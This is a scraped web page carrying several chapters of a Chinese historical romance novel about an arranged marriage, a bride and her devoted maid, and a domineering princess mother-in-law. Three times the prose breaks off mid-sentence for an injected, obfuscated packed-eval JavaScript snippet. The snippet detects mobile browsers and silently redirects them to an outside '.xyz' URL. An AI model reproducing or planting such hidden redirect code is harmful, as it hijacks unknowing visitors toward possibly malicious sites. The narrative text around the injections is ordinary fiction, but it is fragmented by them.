$(''#content'').append('' >等贺夫人进完香，她们便打道回府。 薛盟骑着马，一路护送，这下满帝京无人不知，薛家与贺家不日将结秦晋之好。 吉期定在来年五月。依歆荣的意思，再长两年更好些，惜乎实在没有拖延的由头了，假借神佛名义的法子不好常用，用滥了，就不可信了。 薛盟这头倒是正春风得意。他早不在公主府中住，为着入宫方便，在东华门外置了座宅院，算是常驻地，如今却嫌它简陋，不疏阔。不禁寻思着往西城另购新居，那地界儿繁荣，权贵多也不要紧，谁的招牌也大不过他去。 如此一算，大半年的工夫何止不漫长难捱，根本紧迫得很。薛盟把一应杂务都推了，专心修缮新宅邸。 地皮是现成的，上头雕梁画栋他是一样也看不上。娶新妇怎可住旧园？拆完了重建。土木砖瓦、金银铜锡这些不消说，山石树木搜罗起来且得费心思；还有内院的四时幔帘、秋千花架、妆台玻璃镜…薛盟由一及十，越思量越缺东少西，夜里睡了两个时辰醒来，又着人立时去吩咐澜序，明儿一早将那刘厨子师徒调过来，再问问贺家姑娘爱吃甜爱吃咸，白案师傅也多挑几个备着。 下半年节令也多，头两回还遵循风俗，各样礼品送得周到而克制，再往后便熟不拘礼似的，隔三差五几色首饰衣料也来了、新鲜吃食也来了、翠羽鹦哥琉璃水仙也来了…澜序当催巴已然当得娴熟，问过安又传话说：“京中新到了一批昆仑奴，不知姑娘可要买几个、来日充作仆从护院？” 歆荣不由微拧起眉头：“我自有一干用惯的人手，不必再添。” 澜序深知这未来主母原是位孤高出尘的主儿，碰了壁也还赔笑不已，梵烟在旁觑见了，使个小丫头去引他到廊下吃茶。自己亦走过去，笑道：“年关底下，街面好生热闹，这时辰想必是一番填街塞巷，你倒不如歇一歇，过了这一时半刻再走。” 澜序正捧着碗甜酪解渴，见她立在门口，忙站起来答话：“可不是。为赶这一车礼，不被那些没眼力见儿的磕着碰着，大冷天我汗都走出来了。” 梵烟一抿嘴：“你们赞善见多识广，不拘送个什么来，都是世人名字也叫不出来的稀罕物件儿。只难为了我们姑娘，次次为着回礼，绞尽了脑汁。” 澜序不曾经过男女之事，心下倒十分了悟地暗称“怪道”，咧嘴又笑：“嗐，一家子何须说两家话？贺姑娘便是把脚底下的草根子掐一截儿，交与我带回去，我们家主见了也不知欢喜得怎么着呢！” 梵烟掩口亦笑。又道一声“少陪”，自回歆荣跟前去了。 歆荣假意翻着账册，梵烟一回来，她便丢了册子起身迎上来：“我一时失态了，劳你替我周全。” 梵烟挑了挑眉：“一家子说什么两家话。”揶揄的就是歆荣没曾听见这句，“那薛盟虽是一番美意，到底殷勤得有些烦人了，无怪你生厌。” 歆荣这会儿脸上颜色却鲜活可亲许多：“我是叹息那昆仑奴，背井离乡原非自愿，就要因为非我族类，再被异样相待。” 梵烟心里一动，嗔怪起来：“真真没良心，连我都说不得这话，何况是你？ 歆荣何尝不知：遇上贺学士夫妇这样慈爱又开通的父母，是旁人几世都修不来的福分。没有他们的宽纵，她这十多年的闺中生活不复存焉。 但她有时觉得他们亲切，有时觉得他们隔膜。 她看向预备清点礼品的梵烟，拉了后者：“先别理会这些，你跟我来。” 平素抄经的花梨大理石书案上多出来好几样东西：一架“千里眼”、一本《闽中海错疏》、一副红宝头面、一匣金锭银珠。 “我知道你的生辰在冬月里，十五岁太小了，可他们非要说这便是成人，不能不入乡随俗。” 歆荣摇摇头，把那套钗簪在梵烟发间：“这些东西都不好，但更好的我拿不过来了——梵烟，我和你一道走去新天地。” 4. 四 四月春尽，如火如荼的亲迎筹备，仍旧不如薛盟的意。缘故有二：太子月初开罪了圣上新宠，眼下正是须谨慎行事的节骨眼儿，届时自然无法亲来观礼。 再一桩，则是明琰长公主身边有一名姓刘的内嬖，素性骄横，竟于闹市中策马，踩死幼儿，皇帝震怒，勒令长公主闭门思过，逾月方可出。 薛盟闻悉，心里连道“天杀的”，一面派了亲信去那丧户送抚恤银子，一面觍着脸进宫去向他皇帝舅舅求情。 皇帝一贯待他不薄，笑眯眯地捋须：“娶亲原是大事，若临了再改吉期，怕你那老丈人也不答应。” 瞥见薛盟期期艾艾，复又道：“莫非怕母亲缺席，慢待了新妇？朕便额外加你个衔儿，添个体面，如何？” 薛盟忙顿首再拜：“陛下折煞微臣了！臣与母亲所有体面，皆仰赖陛下深恩，岂敢存轻狂作践之心？奈何横祸飞来，痛心扼腕亦无力回天。今日能稍补丧家一二，全凭陛下开恩，若再贪图加赏，岂非有负隆恩、徒令天家蒙羞？” 皇帝信手点了点案上白玉搁臂，听罢微露倦意，不再逗他：“这话倒还明白。誓之，你确是长大了。”忽又想起一事：“皇后前日还提，早备下副好妆奁，单等你得空，便抬去新房，给外甥媳妇添妆。” 这便是定论了。薛盟见好就收，利落谢恩叩首，告退而出。 到了正日，果然有皇后身边四名女官携赏赐妆奁上门，另有一位太监前来传旨，诰授薛门新妇贺氏为五品恭人。 薛盟得着信儿，忙领了歆荣及一干家下人等设香案恭迎，叩首谢恩接了旨，复起身再四请那内官入上席。太监还要回宫中复命，一意辞了，把臂往来间，袖中早揣上个沉甸甸的红缎儿荷包，这才由薛盟嘱咐着澜序、好生送出府去。 歆荣这边，与梵烟伴着，两个嬷嬷开道在前，小丫头们簇拥在后，一行人进了内院，入正房等候。 梵烟见那两个嬷嬷有了年纪，从歆荣下轿便寸步不离地伺候左右，因道：“二位妈妈辛苦，且先用些茶饭、歇歇腿脚——前头诸多宾客，总要有一两个时辰方散呢。” 两个嬷嬷对视一眼，屈膝应了，梵烟又让九莺、十锦搀扶着送出去，也暂不必过来了。 打发了七巧、八红在门口支应，回过身，歆荣已自揭了盖头：“真是奇了，竟省了拜高堂。” 梵烟走过去，半跪在床边，给她缓缓轻按肩颈：“天不亮就起来开脸梳头，这冠子重得脖子也要压短两寸，我瞧着都累得慌。” 歆荣拉了拉她的衣襟：“你也坐。”梵烟依言坐了，又问：“家里带来的蜜饯可要含一枚？”话出口不免失笑。 “这会儿只是口干，倒不觉得饿。你看那边桌上有没有茶水？” 合卺酒未饮，她们先图上解渴了。梵烟寻得一只甜白小盏，一面斟茶，一面琢磨：“以姑爷的身份，宫里有赏赐诰封本是情理之中，特特等到今日送来，更像是有意而为。” 歆荣稍怔，而后不禁略有微词：“小节上无微不至，大事上倒讳莫如深。” 梵烟忙劝：“兴许有什么内情呢？横竖过一会儿见了人，当面便能问清楚，何必先存下个成见在这里。” 如今也别无他法。歆荣接过茶盏，点了点头。 龙凤喜烛烧得欢欣，灯花爆了又爆，仅只余两寸来许时，梵烟掩口打了个呵欠，依稀听见外头脚步声响，忙站起身，果然七巧八红一面齐声问好，一面推开了门。 薛盟借着进门之机，又整了整衣冠，方绕过泥金十二屏，步入内室。见歆荣已揭了盖头，顾不上旁的，赶忙作揖赔礼：“累夫人久候了。我这里的奴才也不堪用，全无伺候主母的规矩，往后还要偏劳夫人教导。委实不称心的，索性打发了事。” 歆荣竟莞尔：“我初来乍到，连府上的规矩尚不清楚，岂敢越俎代庖、担此重任？” 须知歆荣在薛盟心中，历来是艳若桃李、冷若冰霜，眼下乍然得她笑颜，顿如酒劲儿返上来一般，素日的警醒也抛却脑后，晕陶陶地听见她接着道：“眼下便有一件事要请教你——我深知长公主身份贵重，自然不同寻常，只是你我两家究竟是明媒正娶，禀过官府、立过婚书，于国法于家礼，都不能不见过长辈。今日含混过去了，大约总有必得含混过去的缘故，却不知何日不要紧了，再将这仪礼行全？” 薛盟一面听，一面神色渐肃，暗里越发敬重这位新夫人。又瞟一眼旁边候着的梵烟，知道连她也瞒不过，唯有据实相告：“夫人深明大义，实在叫我汗颜。你我一体同心，非是我存心要隐瞒，而是此事干系天家颜面，''胳膊折在袖子里''，知情的不如不知情的好，任谁也不敢摆到明面儿上来，只盼着风波早日平息，再议其他。” 歆荣与梵烟对视一眼，一时难以置评。 主仆俩的相顾无言，薛盟又焉有视而不见的？然而子不言母之过，末了也只得打破僵局，主动道：“至于夫人所虑，我也深以为然。这便将合卺酒、同牢宴都撤下去，等见过了母亲，一并行礼不迟。另整治一桌便饭，夫人与梵烟姑娘赏脸，将就用些，也好早些安歇。” 歆荣嘲道：“我倒不知赞善如此迂腐。既谓将就，何饭不可将就？”言罢自己起身，取过一只彩线相连的匏樽，向薛盟致意，旋即一饮而尽。 薛盟从善如流，饮尽了另一杯合卺酒，酒甫入喉，竟觉醉意比在前厅遭人轮番死灌时更难以招架，一颗心突突直跳，强自按捺片刻，勉力行礼如仪，不等歆荣回应，忙忙告退出去。 房门贴着脚后跟被关上时，分明听见那梵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083084|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烟“噗嗤”笑了出声。 此后两三日，薛盟起居皆在前院，等闲不来扰歆荣清净，唯在得了新奇物件时，仍派澜序送过来，亦不便过于频繁，显然极懂分寸。 歆荣与梵烟两个，便过得比在闺中还要自在——这会儿更品出没有长辈、以己为尊的惬意来了，可惜注定不会长久。 “嫡亲姐弟与嫡亲兄弟又不一样，纵然是人命官司，不过闭门思过——这亦属私了而已。一月之期眼见将满，且看薛盟这伏小做低的模样能维持几时。” 梵烟正缝一个避疫驱虫香袋，听歆荣这样说，不禁道：“你凡事总是想得太悲观了。别的不论，那薛赞善待你，却不是虚情假意的。再者做父母的如何，并不等于做儿女的必定一个样儿，无非碍于孝道，奈何不得罢了。” 歆荣一面听，一面将桌上的药材拈来轻嗅了嗅：“这话倒有意思。”又提议道：“还剩下这么些，再凑一袋子给他送去——你不是劝我，投之以木桃，报之以琼瑶吗？” 梵烟乜她：“偏会支使我。”耍赖把小金秤、小药匙全推到她面前：“你怎么不亲手做给人家？” 两人笑闹了一阵，外头七巧说：“澜序来传话。” 梵烟忙拍手道：“来得好巧。”不待歆荣反应，闪身出去了。 原来澜序来传的是明日回门的安排，梵烟仔细听了，自然事事熨帖，无甚不妥，便点了点头，说禀给夫人知道。 澜序又提起，府里新访得几房仆婢，俱是身家清白、伶俐可用的，现下还在两位老嬷嬷那儿学规矩，等调|教好了，再领到内院凭夫人过目。 梵烟顺势探问：“我瞧那两位妈妈言谈举止不凡，我们这些外八路的奴婢再比不上，想是长公主殿下心疼儿子，特意指派来襄助的？” 澜序不无得意：“姑娘只猜对了一半。那二位姑奶奶确实是内廷女官不假，却不是公主府出身——咱们家主擎小儿出息，可不稀得仗着长辈荣光作威作福，凭的是自己的能耐，在皇爷和太子跟前尽心竭力，方得了这分外的照拂，金口玉言地嘱咐了这两位来镇守家宅。” 梵烟见他如此，少不得陪着与有荣焉了一回，返来将探得的底细向歆荣和盘托出。 歆荣揶揄她：“是了，是了，果真是你慧眼识英雄，在下拜服！”梵烟臊了，扭身便走。 转天回贺家，梵烟混忘了跟歆荣斗气的事儿，两人同车坐着，这才惊觉归心似箭，短短三日，竟似经年，一时感慨万千。 及至见到贺家二老，又收起了诸般心绪，只作喜气盈盈万事足意的模样。薛盟较她二人尤擅此道，只言片语间，俨然长幼尽欢，直盘桓到夕霞满天的时辰，方依依辞去。 车行离薛宅尚有一程子路，忽见家下一人奔来报信：长公主亲临了。 5. 五 明琰长公主半生经历，不可谓不波澜壮阔：幼时父亲早亡，为养活寡母与幼弟，里外奔忙，在四邻八舍间是出了名的爽利要强，难得模样又标致，后来与同乡举人老爷之子成了亲，着实算得高嫁。 不承想安稳日子没过两年，丈夫一命呜呼。恰值时局动荡，“深山藏虎豹，乱世造英雄”，这英雄之说，最终竟应在自己一母同胞的亲弟弟身上。 于是险些重蹈先辈覆辙的寡妇幼子扶摇直上，成了新朝独一份的明琰长公主，与东宫薛赞善。 长公主有今日，全凭她的好兄弟；薛盟有今日，自然全凭他的好娘亲。 故而长公主偶然惹恼了皇帝，不过一桩小事，谁知这做儿子的当真忍心让亲娘被禁足整整一月，自顾自地吹吹打打、迎娶佳人。 长公主自知无一人可靠，唯有殚精竭力，百倍恳请皇帝同往别院游乐宴饮，献上丽人，又垂泪不已，总算皇帝顾念手足之情，解了她的禁足。 重获自由的头一件事，当然是来瞧一瞧自己儿子辗转求娶的新妇子。 自她开始纳内宠起，薛盟便不肯住公主府了。最初只赁房子，后来有了官身，有了进项，落脚处逐渐多了起来——只是西城这一座，她却从没踏足过。 进门随意望去，即见得布置用心，眼光格调则与她全然不同。长公主轻啧一声，坐在花厅里，悠闲拨着琉璃盏中茶水。 少时，堂前传来动静，长公主徐徐饮了一口茶，薛盟已携着人快步到了眼跟前，一旁侍立之人取来拜毡，摆在地上。 薛盟与歆荣先跪拜问安，梵烟因是初谒，亦跪在后头磕过一回头。 长公主蔼声命起，又示意歆荣上前，拉了手细打量，赞道：“果然是仙女儿似的模样，难怪誓之一日也等不得，趁早娶进了门才安心呢。” 歆荣心中冷笑，面上却不言语，专看薛盟如何行事。 薛盟泰然自若，听不出半分言外之意：“娘既然称心，便把给媳妇的礼拿出来，我也好跟着开开眼。” 长公主剜他一眼，旋即又笑：“我为你操了多少年的心，这礼就预备了多少年——只是如今若拿出来一比，竟是配不上媳妇了。” 转脸盯准了梵烟：“倒是这小丫头子合我的眼缘，且把东西赏给你玩，倒还使得。”再拍一拍歆荣的手：“好孩子，你别吃心，过后到我那里去，只有更好的，到时满府里你瞧上什么，都只管搬走。” 歆荣抿嘴一笑：“殿下抬举我身边人，自是抬举了我，岂有这样不知好歹的人呢？况且做小辈的，别说是赏赐，就是长辈打几下、骂几下，也一样领受才叫孝道呢。” 长公主朗声大笑：“真是一张巧嘴，叫我爱得不行！”抬手欲拧一拧歆荣的脸颊，不料梵烟倏然斜插过来，“扑通”跪在二人之间：“多谢殿下赏赐，奴婢感激不尽！” 长公主一怔，回过味来，嘴角微撇：“主子们正叙话，谁叫你这裉节儿打岔？白瞎了一张好脸，原来是个蠢笨东西。” 说着趁势撒开了歆荣的手，向薛盟道：“你这宅子虽好，伺候的奴才上不了台面，也不会看个眉眼高低。” 薛盟一脸轻描淡写：“确实新买了不少人，舅舅所赐的两位嬷嬷再严明，大约仍看他们各人的悟性高低。娘嫌弃他们伺候得不好，儿子伺候您就是了。” 长公主连连摆手：“你忙，况且又成了家，越发分|身乏术。我日日惦念着你，唯独这一向不得出来，今儿好容易登门见你，但愿你不嫌弃我，踏污了你的地方，就心满意足了。” 薛盟虽一向恼她纵容身边人横行无忌，到底不忍见她这般委曲求全，明知是三分真七分假的作态，也不能不跪下来，哽咽道：“娘如此说，儿子活不得了。”再不多辩解，垂着头一味流泪。 歆荣低眸一扫：这边一个叩首不起的，那边一个伏地痛哭的，长公主岿然安坐，显得自己这唯一站着的人反倒突兀起来，心下一横，身形虚晃，往地上歪去。 谁知梵烟眼疾手快，堪堪在她倒下前一瞬托了一把，越发磕头不止，颤声道：“殿下，我家夫人才从娘家赶回来，路上着急拜见，中了暑气，还求殿下垂怜！” 长公主本就被薛盟哭得窝火，正要发作在这二人身上，薛盟又截了话头：“这样的天时，中了暑气本是情理之中，还不扶进去安歇，向母亲聒噪什么，难道是母亲让她中的暑？” 三人一唱一和，分明是一伙的，长公主气得说不出话来，伸出手指狠狠点了两下，梵烟却径直将这当作准允，半扶半拖着歆荣便告退了。 留下母子二人，薛盟佯意擦了擦全无痕迹的脸，自己起来坐到长公主下首的位置，抱怨道：“娘知道儿子已成了家，还不肯给儿子一点脸面。” 长公主啐了他一口：“世人说，娶了媳妇忘了娘，果不其然。” 薛盟分辩道：“歆荣嫁进来这几日，时时惶恐不安，百般央着我，要及早给娘行礼问安——实是不知娘今日解了禁足，否则爬也要爬到府里去。” 长公主冷哼一声：“你当然不知我今日解禁。你一心只在娶她，倘或因为替我说情、触怒你舅舅，耽搁了你的好姻缘，那可不值当！” “娘…”薛盟踟蹰了好一阵，仍旧不吐不快：“若论值当，再没有思过一月换一条人命更值当的了。” “这话是说我活该受罪了？”长公主柳眉倒竖：“刘郎与那小儿无冤无仇，千真万确是无心之失，如何就罪大恶极了？你舅舅因怕激起民愤，一时要从严发落也还罢了，你又为什么一味袒护外人？” 薛盟的初衷本是想劝说长公主处置了姓刘的，过后再给她挑一个乖顺不生是非的也使得，可听到此节，他忽然觉得无话可说。 长公主却益发心绪难平：“我明白，你仍是怨我不替你父亲守节。可是凭什么啊？皇后还没死呢，你舅舅不照样左一个才人、右一个美人——都是爹生娘养的，我凭什么不可以？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083085|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “母亲慎言。”薛盟叹了口气：“舅舅才宽宥了您，这些时日您还是仔细留神吧！”他站起来，向她一揖：“天色晚了，儿子送您回去。” “不必。”长公主决然起身，理了理衣带：“我比你更清楚。”说罢头也不回地步出了花厅。 她不许薛盟相送，薛盟也不勉强。漫然踱回内院，到了歆荣屋前，还未叩门，正闻其声：“她摆明了是来撒火的，你还自己往上碰，真是笨得很！” 薛盟没听过她这种口吻，暗觉新鲜，便悄悄的不作声，且等梵烟开口：“她拧你必是没轻重的，我磕头却是有分寸的，你不夸我，反来骂我！” “知道分寸还把额头给磕破啦？你瞧薛盟，哭得那般动情，泪痕却无，那才叫分毫不伤呢！原该躲在他后头才是。” 薛盟不妨还能听见自己的名字，一时窘迫，呛咳起来，这下藏不住了，歆荣扬声问：“是谁？” 无奈推门进去，没好看她，先把目光投向梵烟，见后者额头上果然红红的一片，简直触目惊心。 梵烟本与歆荣对坐着，一则没想到背后说人被正主撞见了，二则又觉得脸上带伤不能见人，索性没起身，只把脸别开去。 歆荣知她爱美，便抬头对薛盟道：“听说薛赞善认得许多八闽船商，可有舶来的止痛生肌药？这时节伤口难愈合，拖延久了倍加遭罪。” 薛盟说有，隔窗唤来澜序，叫他去商行把伤势说仔细了，务必选最对症的药。 又弯腰安抚两句：“梵烟，你受委屈了。” 梵烟耳根红了一片，转过来，脸上却有破釜沉舟的情态：“做奴婢的冲撞了长公主不要紧，但夫人是要与殿下长久相处的，若将来生出误会，万望赞善从中转圜。” 在了解长公主禁足前因之后，她理应明白“不要紧”的后果究竟是什么，却依然说出这一番话来，由不得薛盟心神不为之剧震，片刻，他肃然道：“好。” 紧赶慢赶，澜序在宵禁前取回了洋药，交于歆荣手中，由她为梵烟细细涂抹了，而后小心入睡。 幸而花厅中所铺墁砖一无纹样，光整细腻，梵烟敷了几日药便大好了，再不肯多涂：“又厚又白一层，呆头鹅似的。”歆荣捧腹。 长公主来过一遭后，薛盟又携歆荣行庙见之礼，祭过祖宗神位，这一场婚事才算真正礼成。 经过这么些大小事端后，新夫妇的关系明显缓和了不少，寻常也能共处一室，品茗闲叙，只是始终不曾同床共枕过—— 歆荣本心就不愿意，至于薛盟，仿佛也早就接受了“美人如花隔云端”的相处。 细忖之下，这也合了他当初对贺家父母许的诺言。 玻璃镜上的锦罩颜色一换，鱼戏莲叶变作兰桂齐芳。值此团圆佳节，歆荣梵烟终于踏足了公主府。 长公主有意与儿子冰释前嫌，将闲杂人等悉数遣走了，一家子赏月赏景。酒过三巡，又将心腹婢女名唤纤纤的，指给薛盟作妾。 6. 六 薛盟搁下酒杯，仰头大笑起来，众人皆是不解。唯那纤纤因年岁比他略长，小时又常常相见，大着胆子问：“赞善笑什么？” 薛盟半晌才止了笑，目光丝毫没分给她：“我笑娘和我竟然想到一处去了。”懒散拍了两下手，高台下听候的澜序会意，片刻领着一人登了上来。 “儿子惭愧，许久不来膝下尽孝，今日一进这府里，方觉母亲平素何等孤清。纵使团圆佳节，骨肉一聚，不过半日又要分别。只是咱们娘儿俩忝受皇恩，若不为家国报效，终不是道理。儿子又愚钝，碌碌终日，勉强才算尽菲薄之力。既是忠孝难两全，只得另寻他法，姑且请张郎君为娘解颐。” 澜序暗里将人一推，张郎君便在月色下露了真容，转瞬又低头跪倒在地，向长公主问安。 长公主一时神情难辨，良久，控制不住一般抽了抽唇角，撂下一句“身上发冷”，转而离席添衣。 薛盟起身相送，旋即略一摆手，叫张郎君跟上。 去时薛盟骑马，歆荣、梵烟共乘一车，并不知晓那位张郎君容身何处。回来时多出一个纤纤，却是众目睽睽下跟着马车一路走。 公主府离薛宅算不得极远，只因为眼前风吹不动、光照不透的沉默，显得分外难行。 梵烟在席间水米未沾，此刻略觉得饿了，垫补了两口车里现成的点心。 歆荣不爱吃，“戏看饱了。” 梵烟想笑又觉得不该，只说：“叫澜序拿一碟给他垫垫？一肚子闷气，再吹着风，恐怕作病。” 歆荣摇头直叹：“傻子。你倒纯是好心，可惜那一个未必领情，这一个还嫌你碍眼。” 梵烟亦叹：物伤其类，那纤纤姑娘实是无妄之灾。 正暗幸一行车马都走得不快，打头的薛盟索性停了下来。 高大修长的骏马背上安着内用鋄金云龙纹马鞍，将他托得极高。少年人背脊又挺拔，一抬头时，皎皎明月真如白玉盘一般唾手可得。 梵烟撩开车帘往外头看时，他似乎欲回过头来，片刻又作罢，只低头吩咐了澜序两句话，重新打马前去。 回到府中，薛盟沉默着去了前院不提，这边歆荣与梵烟进了屋，八红迎上来献宝：“有新下的嫩核桃，我知道姑娘爱吃，剥了一盘子，拿白玉盖子罩着的，不怕吹干了。” 歆荣一面解斗篷，一面笑：“你们难得闲一日，怎么不去院子里玩？倒还想着我。” 七巧接过斗篷挂好，跟着说：“原也赏月来着，只不过咱们又不会作诗，又不会行令，呆望着天有什么意思？不如找点事情消遣、闲说说话更有趣儿。” 九莺提了滚热的牛乳来，梵烟摆开一色青花小碗，待她一一斟来，又各点一些玫瑰卤子，分给众人，因问：“月饼如何？如今有两个苏州厨子专做细点，想必有些新花样？” “东西自然是好东西。”十锦吐了吐舌头：“只是吃不惯。”几人都笑起来。 歆荣看那牛乳烫，便一心吃嫩核桃，梵烟见状又说：“尝个鲜便罢了，这早晚的，仔细积了食睡不安稳。” “她们辛辛苦苦剥了这许多，岂能辜负？”歆荣道：“偏你吃不惯这鲜嫩的，非得等熟透，少不得我来消受。再说盛景佳节，便是一晚不睡又如何？咱们就在窗下支一张桌子，时令瓜果鲜花都摆来，围坐夜话岂不好？” 不等梵烟开口，几个小的先拍手跳着叫好，不得不舍命相陪。于是各自张罗着，将杯盏瓶炉俱攒到一处，杯中倒酒，瓶中插桂，一溜玫瑰椅挨着坐。 梵烟又捧来一架镀银雕花香架，点上龙挂香驱蚊，一时不禁说：“咱们这边乐呵，且不知前头什么样呢。” 歆荣想了想：“这个也好办。把现有的吃食送一份过去，表一表关切的意思，顺带着，看看那位纤纤姑娘如何安置。” 梵烟把众人神色瞧过一回，蹙眉失笑：“这下是自己揽了个讨不着好的差事，下回再不多嘴了。” 歆荣道：“她们人又小，又不知今日情由，贸贸然去了，万一薛盟不给脸面，好生冤枉。你去总不必担心这个。” 梵烟无奈，打点好食盒，朝她一乜：“如此说来，很该姑娘亲去。” “我不去。”歆荣只管撇清：“我脸皮厚，住在人家家里，也不在乎主人待见与否，懒得揣摩他的心意。” 梵烟哼了一声，敛了敛仪容，提着攒盒即走。 歆荣还紧着她玩笑：“路上只管慢些，给你留着蟠桃呢！” 守夜的婆子见梵烟出来，忙不迭地上前替她打灯笼开角门。梵烟见时辰不早，何必让人来回折腾，便道：“把灯给我就是，今儿月色好，我也附庸风雅，夜游一回。”婆子千恩万谢地应了，到底把人送出老远。 来到前院，却是灯火阑珊，风寂人静。只澜序立在院里，低声与一衣饰鲜亮的人说话——正是纤纤。 未等梵烟出声，澜序先看见了她，干脆撇开纤纤迎过来：“梵烟姑娘怎么一个人来了？哪个婆子上夜？我明儿就说她去！” 梵烟便笑：“原是我图清净，一定不叫她跟着的，再不关旁人的事儿。” 澜序附和不迭：“姑娘善性儿，我最是清楚不过了。”马屁拍过，方问正题：“想是夫人有要紧吩咐，特意指派姑娘来走一遭？” “倒不是要紧事。”梵烟望了望书房窗户，又给他看食盒：“今年的螃蟹肥，才剔出来新蒸了小饺儿，夫人觉得好，专叫我趁热送来，请家主也尝尝，还佐了一瓶子烧酒。谁知我走慢了，家主已歇下了？” “哪能让姑娘白跑一趟？”澜序叫她稍候：“我进去回禀一声便是。” 一转身，几与凑近听他二人谈话的纤纤撞个满怀，澜序急急后撤，稳住底盘儿又从旁取道，纤纤却不依了：“好奴才，看人下碟儿——” “姐姐别混赖我呀！”澜序嘴上甜，实则半分不让人：“适才是家主亲口说要安置，吩咐姐姐退下自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083086|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便，又不是我说的。” “那好！那我等你回话去！” 澜序见她步步紧逼，也不着急了，站住脚步，轻笑一声：“姐姐只管嚷，再高声些，家主就出来了。” 纤纤这才噤声，可惜为时已晚，只听薛盟隔窗问：“闹什么？” 澜序无法，搬了内院作挡箭牌：“爷，梵烟姑娘奉命给您送宵夜来了。” 薛盟的声口赫然和缓下来：“把灯拨亮些，让她进来。” 梵烟垂了眼眸，依言走进去，福了福，轻轻道：“扰了赞善安寝。” 这话又太欲盖弥彰。薛盟失笑，冲她一展双臂：“我衣裳都没换呢。”又问：“送的什么？好香。” 梵烟揭开盒盖：“多了也不相宜，只螃蟹馅儿的饺子，再有烧酒驱驱寒气儿。” 她摆放碗碟，薛盟自洗了手过来：“这个正好。”也不要姜醋，一气儿吃了四五个，也不劳梵烟倒酒，自斟自饮了一满杯。 抬眼见梵烟仍立在桌前，后知后觉赧然起来，搁下牙箸，道：“你们吃过没有？” 梵烟抿嘴一笑：“都分了些。这会儿还睡不下，一块儿赏月夜话呢。” “如此就好。”薛盟倒不避讳她：“我原担心一场闹剧，扫了大伙儿的兴。” 梵烟默然片刻，决定直言：“先贤说，长者赐，不敢辞。我们不过旁观，唯有赞善切身体会，冷暖自知。” 薛盟不觉嗤了一声：“倒也不至于这般软弱、坐以待毙。”回过神来，似觉不妥，又自圆其说：“木已成舟，也就不自寻烦恼了。纤纤既是母婢，不该受我迁怒，很应尊重些才是。你且带她回内院，不拘腾出几间房，姑且让她住下。” 梵烟答了个“是”，再无别话，告退出来，见纤纤仍在廊下立着，似有赌气之态。 生怕碰个钉子，梵烟暗里再三斟酌，软言唤了声“纤纤姐姐”，不意纤纤闻声回过头，却是一副和颜悦色。 真难为她也。梵烟越发客气了几分：“更深露重的，赞善吩咐我，请姐姐到内院安置。” 纤纤原知她是歆荣心腹，又亲见她如此得薛盟抬举，人在屋檐下，不得不低头，便作出客随主便的姿态，随她领路而去。 过了一段主路，梵烟有意将她引去西跨院，纤纤却停住了：“既进了府，我该去向夫人磕头，不知夫人准不准允？” “夫人歇得早，姐姐无须急在一时。”梵烟始终笑盈盈的，“倒不如先瞧一瞧屋子，被褥床幔之类可还齐全，若缺个什么，我好及时补上。” 纤纤亦不勉强，点头称是，一时到了地方，见虽因素无人气，有些冷清，陈设器具还算用心，道着谢别过梵烟，囫囵就寝。 那厢梵烟回了房，歆荣等人果然守信等她，只是个个睡眼迷蒙，支着下巴、靠着椅沿儿的不一而足。听见门响，方强打精神问她如何。 梵烟两手一摊：“烫手的饺儿送去了，烫手的山芋接来了。” 7. 七 月过西楼，一屋子人都困狠了，兼有几分薄醉，索性七歪八倒地睡了，无人收拾。 梵烟与歆荣挤在一处，两个人反而走了困意，头挨着头，各自发愣。 静默一阵，歆荣轻声道：“往后可没这么清净了。” 梵烟拢了拢被子：“本不该背后编排人，只是长公主如此行事，哪是修好，分明把人越推远了。” 歆荣微微勾唇：“有一类父母，原不是图的骨肉情份，常日欲与子女斗法一样，专看是东风压倒了西风、还是西风压倒了东风。” “可叹这风无端卷进一个纤纤不算，还要波及你我。” 歆荣惯有些爱作壁上观，但见梵烟发愁，少不得又劝：“水来土掩罢了。早些睡吧，我猜明日她必定来得早呢！” 黑甜一觉倏忽而过，再睁开眼，朦胧听见帐子外头有人低语，像是九莺。 梵烟披衣起来倒水喝，窥见外头天色晶明，料想纤纤已至。回身轻搡歆荣：“不早了，快起吧。” 歆荣抬手揉了揉眼睛，原来已经醒了，只是懒得动弹，鲜见地赖起了床。 这时八红、九莺进来，果然是说纤纤来定省，二人请她用茶稍候。 歆荣一时觉得好笑，问梵烟：“我若不见，她会不会疑心我给她下马威？” 梵烟啼笑皆非：“何苦来哉？她多心事小，带累你的名声事大。” 